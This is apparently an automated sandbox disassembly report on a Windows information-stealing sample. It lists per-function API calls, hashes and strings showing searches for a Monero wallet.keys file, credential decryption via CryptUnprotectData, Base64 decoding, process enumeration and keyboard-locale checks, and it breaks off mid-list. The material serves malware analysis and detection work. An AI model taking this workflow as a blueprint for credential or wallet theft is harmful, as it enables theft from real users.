Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: wz$$7$0L>$@GO$@dm$HG{}$h "i$ra>$h~;$9w
API String ID: 0-1766348267
Opcode ID: c2d6116cac7547c841c5b47e5db22991045b9c42992c144677d45a16b8bab8a2
Instruction ID: f584fc852e82aa53fb82dc8a67cd20cd127a62712769553dad8fab6e6fbff937
Opcode Fuzzy Hash: c2d6116cac7547c841c5b47e5db22991045b9c42992c144677d45a16b8bab8a2
Instruction Fuzzy Hash: 05B204F36082049FE3046E2DEC8567ABBE9EFD4720F1A493DE6C4C7744EA3598058697

Function 0061DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006314B0,00630C2A), ref: 0061DAEB
StrCmpCA.SHLWAPI(?,006314B4), ref: 0061DB33
StrCmpCA.SHLWAPI(?,006314B8), ref: 0061DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0061DDCC
FindClose.KERNEL32(000000FF), ref: 0061DDDE

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a413e0819028189fb09a693575bb1fd6d68afaa47d83afca38e0d0afe251dd29
Instruction ID: da8985cb7d86ce4cf22513da661b114af455bb029f09e94d09b73e048b1dd8de
Opcode Fuzzy Hash: a413e0819028189fb09a693575bb1fd6d68afaa47d83afca38e0d0afe251dd29
Instruction Fuzzy Hash: A29124769005149BCB54FBB0EC969ED737FAF88300F40866CF90696181EE749B498F97

Function 00627B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

GetKeyboardLayoutList.USER32(00000000,00000000,006305AF), ref: 00627BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00627BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00627C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00627C62
LocalFree.KERNEL32(00000000), ref: 00627D22

Strings

/ , xrefs: 00627C7F

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: d0c3e1a712504e971edff5bb840f7f84e1d2717e97bd82daff61ccac605d7b17
Instruction ID: b2c83e3205ea87e06a41eef493324eb505e37b33d48445645ce28dbaf6388c42
Opcode Fuzzy Hash: d0c3e1a712504e971edff5bb840f7f84e1d2717e97bd82daff61ccac605d7b17
Instruction Fuzzy Hash: 22418F71940628ABCB24DB94EC99FEDB379FF48700F2042D9E00962281DB742F85CFA5

Function 009D1F2E Relevance: 10.4, Strings: 7, Instructions: 1646COMMON

Download Yara Rule

Strings

:-~w, xrefs: 009D244A
T&wo, xrefs: 009D3047
k?o~, xrefs: 009D1F6F
YRD{, xrefs: 009D2D97
~30, xrefs: 009D2964
."K+, xrefs: 009D207F
+p~o, xrefs: 009D3273

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +p~o$."K+$:-~w$T&wo$YRD{$k?o~$~30
API String ID: 0-1783079507
Opcode ID: d9cba92aa0c738b829a914f17db3bd5adb17e7b6012129268f30caf196722147
Instruction ID: 0f24e45c153c0e96316e58be8ead46a3e487dc9b9746347daf49d9db6a7f4336
Opcode Fuzzy Hash: d9cba92aa0c738b829a914f17db3bd5adb17e7b6012129268f30caf196722147
Instruction Fuzzy Hash: F6B2E5F3A0C2049FD304AE2DEC8567AFBE5EF94720F164A2DEAC4D3744EA3558058697

Function 0061E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00630D73), ref: 0061E4A2
StrCmpCA.SHLWAPI(?,006314F8), ref: 0061E4F2
StrCmpCA.SHLWAPI(?,006314FC), ref: 0061E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0061EBDF

Strings

\*.*, xrefs: 0061E44D

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 8718670a281dbb72213cf5acdd98c4f84aa39c05acc5404abdede2a0223544e9
Instruction ID: b21175a34fd560b740035278e0af09e09fc64d0e337a243156b2d7a306bdf0b9
Opcode Fuzzy Hash: 8718670a281dbb72213cf5acdd98c4f84aa39c05acc5404abdede2a0223544e9
Instruction Fuzzy Hash: 4712A2719105289BDB58FBA0EC96EED733AAF54300F4041ACF50A56081EF746F89CF9A

Function 009D04B4 Relevance: 9.1, Strings: 6, Instructions: 1603COMMON

Download Yara Rule

Strings

mDKz, xrefs: 009D0B5D
+Y[^, xrefs: 009D109E
AQ>=, xrefs: 009D0BBE
r~K, xrefs: 009D120F
\, xrefs: 009D0C9B
<a/, xrefs: 009D141E

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +Y[^$<a/$AQ>=$\$mDKz$r~K
API String ID: 0-4162694993
Opcode ID: 66c2b10807567387c61f29622a6d05dd334f46dd87a8b8e52896a77fa8ba35be
Instruction ID: e964e91f25d3156e9d24d6992c6cc077eabf6442b2b87494cbc2140acc5d4164
Opcode Fuzzy Hash: 66c2b10807567387c61f29622a6d05dd334f46dd87a8b8e52896a77fa8ba35be
Instruction Fuzzy Hash: E2B2D9F390C2109FE304AE29DC8567ABBE9EF94720F16493DEAC9D3744E63598018797

Function 009CD092 Relevance: 9.1, Strings: 6, Instructions: 1577COMMON

Download Yara Rule

Strings

lH.o, xrefs: 009CD387
[;x, xrefs: 009CDD10
?_[{, xrefs: 009CD6A2
[7a~, xrefs: 009CE015
0#u, xrefs: 009CD371
'Ogw, xrefs: 009CD3E6

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'Ogw$0#u$?_[{$[7a~$[;x$lH.o
API String ID: 0-1921790539
Opcode ID: bee0c8c8c5da3e1ccf95b6799e63b2b113b6b58db9559598ca032669dece16f6
Instruction ID: 757c1fdf15e2f32fdbd6efd092eb6d78a954c15441f345cea10fb3b177e1a6e0
Opcode Fuzzy Hash: bee0c8c8c5da3e1ccf95b6799e63b2b113b6b58db9559598ca032669dece16f6
Instruction Fuzzy Hash: 4BB209F3A0C6109FE304AE29EC8567AF7E5EF94720F16893DEAC4C3744E63598058697

Function 00619AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Na,00000000,00000000), ref: 00619AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00614EEE,00000000,?), ref: 00619B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Na,00000000,00000000), ref: 00619B2A
LocalFree.KERNEL32(?,?,?,?,00614EEE,00000000,?), ref: 00619B3F

Strings

Na, xrefs: 00619AD4, 00619AE1, 00619AF9, 00619B18, 00619AE4, 00619B1B

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: Na
API String ID: 4291131564-2961090521
Opcode ID: 42a445752a22f0de29819434853911c1189ad849f348e45e3faf1ad605fb25a9
Instruction ID: 78471a27ce8be8cc0af4eaf12621926f3b3a27d0d41ff3a84cbe8ef4bcc31b1b
Opcode Fuzzy Hash: 42a445752a22f0de29819434853911c1189ad849f348e45e3faf1ad605fb25a9
Instruction Fuzzy Hash: 5B11A2B4240308AFEB14CF64DC95FAA77B5FB89701F208159FA159B390C7B6A941CBA0

Function 0061C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0061C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0061C87C
lstrcat.KERNEL32(?,00630B46), ref: 0061C943
lstrcat.KERNEL32(?,00630B47), ref: 0061C957
lstrcat.KERNEL32(?,00630B4E), ref: 0061C978

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 186e8469670939deef3c846a54d29736794c1609e23da01853dbae2bc790692d
Instruction ID: d73d828323c55e2cce0c7642a8e2a914f24626da41311db3d2ed0997977e34b7
Opcode Fuzzy Hash: 186e8469670939deef3c846a54d29736794c1609e23da01853dbae2bc790692d
Instruction Fuzzy Hash: 2341A0B4D0431ADFDB10CFA0DD88BEEF7B9BB48304F1446A8E509A6280D7745A84CF91

Function 00626920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0062696C
sscanf.NTDLL ref: 00626999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006269B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006269C0
ExitProcess.KERNEL32 ref: 006269DA

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: edfc05308c5ffadd35e07ec492040527f789b9058fa1aac0fe545df63b2b926b
Instruction ID: 24ea5e0ad280b98c5a39f60fd129445c71181fdf9069abb384cbe6e2e16c7e78
Opcode Fuzzy Hash: edfc05308c5ffadd35e07ec492040527f789b9058fa1aac0fe545df63b2b926b
Instruction Fuzzy Hash: DD21EB75D10219ABCF08EFE4E9859EEB7B6BF48301F04852EE406E3250EB345604CB69

Function 00617240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0061724D
RtlAllocateHeap.NTDLL(00000000), ref: 00617254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00617281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 006172A4
LocalFree.KERNEL32(?), ref: 006172AE

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: fe37f9d6d9ee11f7bbf2dd7fd2255fc673cfde5587a2e0f5e9d990c177171ce8
Instruction ID: b43e07766203b804901b8fe4891e1fcc34676b9696e80cbce762bf167bafa942
Opcode Fuzzy Hash: fe37f9d6d9ee11f7bbf2dd7fd2255fc673cfde5587a2e0f5e9d990c177171ce8
Instruction Fuzzy Hash: 53010075A40308BBEB14DFD4CD85F9D77B9BB44701F104154FB05AB2C0D674AA018B65

Function 00629600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0062961E
Process32First.KERNEL32(00630ACA,00000128), ref: 00629632
Process32Next.KERNEL32(00630ACA,00000128), ref: 00629647
StrCmpCA.SHLWAPI(?,00000000), ref: 0062965C
CloseHandle.KERNEL32(00630ACA), ref: 0062967A

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
